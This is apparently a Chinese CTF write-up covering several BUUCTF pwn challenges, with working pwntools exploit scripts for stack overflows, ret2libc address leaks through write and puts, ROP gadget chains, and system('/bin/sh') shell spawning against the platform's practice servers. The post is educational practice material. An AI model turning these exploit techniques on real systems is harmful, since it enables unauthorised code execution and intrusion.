BUU-pwn(二)

ciscn_2019_n_8

32位程序,逻辑很简单 需要var[13] == 17

需要注意的是qword全称是Quad Word。2个字节就是1个Word(1个字,16位),q就是英文quad-这个词根(意思是4)的首字母,所以它自然是word(2字节,0~2^16-1)的四倍,8字节 所以用p64
exp

from pwn import *

r = remote('node4.buuoj.cn',29396)

payload = b'aaaa'*13+p64(0x11)
r.sendline(payload)
r.interactive()

jarvisoj_level2

32位程序
明显栈溢出
在这里插入图片描述
找到system函数地址与/bin/sh地址

exp

from pwn import *
context(log_level='debug')
r = remote('node4.buuoj.cn',28037)

sys_addr = 0x08048320
sh_addr = 0x0804A024
payload = b'a'*0x88+b'a'*0x4+p32(sys_addr)+p32(0)+p32(sh_addr)
r.sendlineafter('Input:',payload)
r.interactive()

[OGeek2019]babyrop

32位程序,题目给了libc-2.23.so,main函数

看下sub_804871F()

sub_80487D0()函数参数a1为上面函数的返回值,这里可以溢出,然后通过write泄露write地址

利用函数泄露地址原理:

利用write函数获取函数地址

函数原型: ssize_t write (int fd, const void * buf, size_t count);

payload:'a' * 栈大小 + ebp + write_plt_addr + write执行后的返回地址 + fd + 要泄露的地址 + count

利用puts函数获取函数地址

函数原型: int puts(const char *string);

payload:
payload = b''
payload += b'a' * 0x              # 栈的大小
payload += p64(0)               # ebp
payload += p64(pop_rdi)         # 给puts()函数赋值
payload += p64(addr)            # leak函数的参数addr  可以为puts_got
payload += p64(puts_plt)        # puts函数地址

exp

from pwn import *
context(log_level='debug')
r = remote('node4.buuoj.cn',27043)

elf = ELF('./pwn')
lib = ELF('./libc-2.23.so')

write_got = elf.got['write']
write_plt = elf.plt['write']
main = 0x08048825

payload1 = "\x00"+"\xFF"*7
r.sendline(payload1) # strcmp bypass and change buf[7]
r.recvuntil('Correct\n')

# leak write addr
payload2 = b'a'*0xe7+b'a'*0x4
payload2 += p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(4)
r.sendline(payload2)

write_addr = u32(r.recv(4))
print('[+]write_addr: '+str(write_addr))

# use offset to system and /bin/sh
offset = write_addr - lib.sym['write']
sys_addr = lib.sym['system'] + offset
binsh_addr = lib.search(b'/bin/sh').__next__() + offset

r.sendline(payload1)
r.recvuntil('Correct\n')

payload3 = b'a'*0xe7+b'a'*0x4
payload3 += p32(sys_addr) + b'a'*0x4 + p32(binsh_addr)

r.sendline(payload3)
r.interactive()

bjdctf_2020_babystack

栈溢出

exp

from pwn import *
context(log_level='debug')
r = remote('node4.buuoj.cn',26914)

sys_addr = 0x04006e6
payload = b'a'*0x10+b'a'*0x8+p64(sys_addr)+p64(0)

r.sendlineafter('[+]Please input the length of your name:','50')
r.sendlineafter('[+]What\'s u name?',payload)
r.interactive()

get_started_3dsctf_2016

main函数存在溢出

发现有个后门函数

直接返回到后门函数地址然后再填充被调函数参数,也就是a1和a2,这里ebp需要为exit
exp

from pwn import *
context(log_level='debug')
r = remote('node4.buuoj.cn',28440)

getflag_addr = 0x80489A0
exit_addr = 0x0804E6A0

payload = b'a'*56+p32(getflag_addr)+p32(exit_addr)+p32(0x308cd64f)+p32(0x195719d1)
r.sendline(payload)
print(r.recv())

#r.interactive()

ciscn_2019_en_2

64位程序

begin()是一个菜单,给了三个选择 encrypt、decrypt、exit,无system以及/bin/sh 属于是ret2libc题型

看一下encrypt()函数,gets()存在溢出点,strlen利用 \x00 绕过

思路:

  1. 劫持返回地址,调用puts函数泄露libc基地址,再次返回到main函数
  2. 通过泄露出的libc基地址计算出"/bin/sh"和system()的地址,再次劫持返回地址,执行system(“/bin/sh”)获得shell

几篇文章
ROP-Ret2csu详解
pwn系列之ret2(四)
Linux x64 下的万能 Gadget
一步一步学ROP之linux_x64篇
buu-ciscn_2019_en_2

64位程序函数传参数的方式与32位程序不相同,32位程序将函数参数直接压入栈中,64位程序当参数少于7个时,参数从左到右 放入寄存器: rdi, rsi, rdx, rcx, r8, r9。 当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。

x64 程序调用libc会存在 __libc_csu_init 这个函数用来对 libc 进行初始化操作

借用文章中的图来看下 __libc_csu_init

将地址 0x400622 上 pop r15,ret 的三字节指令(0x41 0x5F 0xC3)拆散看,会发现后两个字节组成了一组新的指令 pop rdi,ret。

这对于puts()有什么用呢?在 [OGeek2019]babyrop 中知道,puts所需要的参数为一个参数,而这个pop rdi正好符合了要求,从栈上弹出一个单位到rdi中,然后ret调用puts时,从rdi中获取那一个参数。

所以我们构造的payload为

payload += b'a' * 0x..          # 栈的大小
payload += p64(0)               # ebp
payload += p64(pop_rdi)         # 给puts()函数赋值
payload += p64(addr)            # leak函数的参数addr  可以为puts_got
payload += p64(puts_plt)        # puts函数地址

寻找 gadget 有两个工具

第一个ROPgaget(安装了gdb-peda就有):

ROPgaget --文件名 pwn | grep "要找的东西,比如pop rdi" 

第二个ropper:

ropper --file 文件名 --search "要找的东西"


这里环境为ubuntu18,看了下其他师傅的wp,提到了栈平衡

第一次控制返回地址的时候执行了pop rdi,导致栈地址向下向上偏移了8位,而Ubuntu18要求栈地址要16位(0x10)对齐,所以在第二次控制返回地址的时候加个p64(ret)就可以解决

exp

from pwn import *
from LibcSearcher import *

context(log_level='debug')
r = remote('node4.buuoj.cn',26208)
#r=process('./ciscn_2019_en_2')
elf = ELF('./ciscn_2019_en_2')

puts_plt = elf.plt['puts']
puts_gots = elf.got['puts']

main_addr = 0x0400B28
pop_rdi = 0x0400c83
ret=0x4006b9

r.sendlineafter('Input your choice!','1')
payload = b'\x00'+b'a'*(0x50-0x1)+b'a'*0x8
payload += p64(pop_rdi)+p64(puts_gots)+p64(puts_plt)+p64(main_addr) # puts ret addr ?
r.sendlineafter('Input your Plaintext to be encrypted\n',payload)
print('first puts: '+str(r.recvline())) # puts("Ciphertext")
print('second puts: '+str(r.recvline())) # puts(s)

puts_addr=u64(r.recvuntil("\n",True).ljust(8,b"\x00"))
print(hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
offset = puts_addr - libc.dump('puts')
sys_addr = offset + libc.dump('system')
bin_sh_addr = offset + libc.dump('str_bin_sh')

r.sendlineafter('Input your choice!\n','1')
payload2 = b'\x00'+b'a'*(0x50-0x1)+b'a'*0x8+p64(ret)+p64(pop_rdi)+p64(bin_sh_addr)+p64(sys_addr)
r.sendlineafter('Input your Plaintext to be encrypted\n',payload2)
r.interactive()

jarvisoj_level2_x64

64位程序栈溢出
exp

from pwn import *

context(log_level='debug')
r = remote('node4.buuoj.cn',27790)
sys_addr = 0x04004c0
binsh_addr = 0x0600a90
pop_addr = 0x04006b3

payload = b'a'*0x80+b'a'*0x8+p64(pop_addr)+p64(binsh_addr)+p64(sys_addr)
r.sendlineafter('Input:\n',payload)
r.interactive()

[HarekazeCTF2019]baby_rop

64位,exp

from pwn import *
import os

context(log_level='debug')
elf = ELF('./babyrop')
r = remote('node4.buuoj.cn',25565)

sys_addr = elf.sym['system']
binsh_addr = 0x0601048

def get_pop(file):
    cmd = 'ROPgadget --binary {} |grep "pop rdi"'.format(file)
    res = os.popen(cmd).read().split(':')[0][-8:]
    return int('0x'+res,16)

pop_addr = get_pop('babyrop')

payload = b'a'*0x10+b'a'*0x8+p64(pop_addr)+p64(binsh_addr)+p64(sys_addr)
r.sendlineafter('What\'s your name?',payload)
r.interactive()
  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值